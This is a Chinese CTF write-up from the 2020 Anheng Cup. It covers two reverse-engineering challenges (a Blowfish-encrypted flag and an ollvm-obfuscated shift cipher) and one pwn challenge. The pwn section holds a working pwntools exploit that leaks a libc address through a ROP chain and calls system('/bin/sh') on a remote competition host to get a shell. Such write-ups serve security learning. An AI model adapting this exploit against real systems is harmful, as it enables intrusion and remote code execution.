安恒杯_2020 write up

发布于 2020-07-03  1822 次阅读


Reverse

little_fish

程序校验了格式 flag{}

然后用一个函数对flag内的内容进行加密

file

通过搜索常数,可以发现这是一个 blow_fish 加密算法,所以用在线工具解密即可

dump密文的脚本:

#include<stdlib.h>

int enc[] = {16 , 181 , 42 , 236 , 176 , 80 , 177 , 35 , 64 , 58 , 39 , 124 , 30 , 83 , 41 , 31 , 177 , 21 , 54 , 40 , 251 , 17 , 191 , 225 , 50 , 30 , 197 , 18 , 228 , 96 , 172 , 64};
int main(){
    //打印密文的十六进制
    for(int i = 0; i < 32; i++){
        printf("%x",enc[i]);
    }

    // flag = 62c7169f44a890609d87f8810424bdbb
} 
key: R3v3rs3!
密文hex:
10 B5 2A EC B0 50 B1 23  40 3A 27 7C 1E 53 29 1F
B1 15 36 28 FB 11 BF E1  32 1E C5 12 E4 60 AC 40

https://webnet77.net/cgi-bin/helpers/blowfish.pl

ollvm

拿到文件之后发现被混淆,去一下混淆。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rsi
  __int64 v4; // rdx
  int v5; // ecx
  int v6; // ecx
  char v7; // di
  int v8; // edx
  int v9; // ecx
  char v10; // di
  int v11; // ecx
  int v12; // ecx
  char v13; // di
  int v14; // edx
  int v15; // ecx
  char v16; // di
  __int64 v17; // rcx
  bool v19; // [rsp+F8h] [rbp-58h]
  bool v20; // [rsp+F9h] [rbp-57h]
  bool v21; // [rsp+FAh] [rbp-56h]
  bool judge_2; // [rsp+FBh] [rbp-55h]
  char flag[40]; // [rsp+100h] [rbp-50h]
  int v24; // [rsp+128h] [rbp-28h]
  int var_j; // [rsp+12Ch] [rbp-24h]
  int var_i; // [rsp+130h] [rbp-20h]
  int v27; // [rsp+134h] [rbp-1Ch]
  int v28; // [rsp+138h] [rbp-18h]
  int i; // [rsp+13Ch] [rbp-14h]
  int const_8; // [rsp+140h] [rbp-10h]
  int const_4; // [rsp+144h] [rbp-Ch]
  int v32; // [rsp+148h] [rbp-8h]
  bool judge_1; // [rsp+14Ch] [rbp-4h]
  bool v34; // [rsp+14Dh] [rbp-3h]
  bool v35; // [rsp+14Eh] [rbp-2h]
  bool v36; // [rsp+14Fh] [rbp-1h]

  v32 = 0;
  const_4 = 4;
  const_8 = 8;
  i = 0;
  v28 = 0;
  v27 = 0;
  var_i = 0;
  var_j = 1;
  v24 = 32;
  __isoc99_scanf("%s", flag, envp);
  v3 = &a[8 * v27];
  v3[var_i] = flag[0];
  while ( 1 )
  {
    v4 = (unsigned int)var_j;
    LOBYTE(v3) = var_j < v24;
    if ( var_j >= v24 )
      break;
    while ( 1 )
    {
      if ( var_i + 1 < const_8 )
      {
        v3 = (const char *)(8LL * v27);
        v5 = a[(_QWORD)v3 + 1 + var_i];
        judge_1 = v5 == 0;
        judge_2 = v5 == 0;
      }
      if ( !judge_2 )
        break;
      v6 = var_j++;
      v7 = flag[v6];
      v3 = (const char *)++var_i;
      a[8 * v27 + var_i] = v7;
    }
    while ( 1 )
    {
      if ( v27 + 1 < const_4 )
      {
        v3 = (const char *)(8LL * (v27 + 1));
        v8 = a[(_QWORD)v3 + var_i];
        v34 = v8 == 0;
        v21 = v8 == 0;
      }
      if ( !v21 )
        break;
      v9 = var_j++;
      v10 = flag[v9];
      v3 = (const char *)var_i;
      a[8 * ++v27 + var_i] = v10;
    }
    while ( 1 )
    {
      if ( var_i - 1 >= 0 )
      {
        v3 = (const char *)(8LL * v27);
        v11 = a[(_QWORD)v3 - 1 + var_i];
        v35 = v11 == 0;
        v20 = v11 == 0;
      }
      if ( !v20 )
        break;
      v12 = var_j++;
      v13 = flag[v12];
      v3 = (const char *)--var_i;
      a[8 * v27 + var_i] = v13;
    }
    while ( 1 )
    {
      if ( v27 - 1 >= 0 )
      {
        v3 = (const char *)(8LL * (v27 - 1));
        v14 = a[(_QWORD)v3 + var_i];
        v36 = v14 == 0;
        v19 = v14 == 0;
      }
      if ( !v19 )
        break;
      v15 = var_j++;
      v16 = flag[v15];
      v3 = (const char *)var_i;
      a[8 * --v27 + var_i] = v16;
    }
  }
  for ( i = 1; i < 4; ++i )
  {
    v3 = &str[8 * i];
    if ( strncmp(&a[8 * i], v3, 8uLL) )
    {
      printf("Wrong!\n", v3, v4, v17, 628939125LL, 4033332667LL);
      return -1;
    }
  }
  LOBYTE(v4) = i < 4;
  printf("Correct!\n", v3, v4, 247720033LL);
  return 0;
}

之后发现程序中并没有其他的类似于S表的东西。

而是简单地对输入地字符串进行了移位操作,推测可能就是一个简单的移位算法。后来我又尝试了几个其他的字符串,发现确实是这个规律,那么直接手动一位一位地将flag推出来即可。

[input]   0123456789abcdefghijklmnopqrstuv
[output]  01234567jklmnop8ivutsrq9hgfedcba
[encrypt] f033bad9f0753561c3c46555dc0cf40a
[decrypt] ?

Pwn

autoctf

一个简单的利用格式化字符串进行栈溢出的题目

构造ROP链从而泄露libc的基址

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
elf = ELF('./pwn')

#p = process('./pwn')
p = remote('183.129.189.61', 53506)

printf_addr = 0x401152
rsi_r15_ret = 0x0000000000401269
rdi_ret = 0x000000000040126b

p.recvuntil('[DEBUG] Fatal Error At: ')
leak_addr = int('0x'+p.recv(12), 16) + 0x20

success("leak_addr:" + hex(leak_addr))

#gdb.attach(p, 'b *0x4011D7\nc')

payload1 = 'a' + 'fake_rbp'
payload1 += p64(rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload1 += p64(printf_addr)

p.sendlineafter('Press any key to quit...\n\n', payload1)

puts_addr = u64(p.recv(6)+'\x00\x00')
success('puts_addr:' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')

sys_addr = libc_base + libc.dump('system')
payload2 = 'b' + 'fake_rbp'
payload2 += p64(rdi_ret) + p64(leak_addr+0x38-0x100) + p64(sys_addr) + '/bin/sh'

p.sendlineafter('Press any key to quit...\n\n', payload2)

p.interactive()

CTFer|NOIPer|CSGO|摸鱼|菜鸡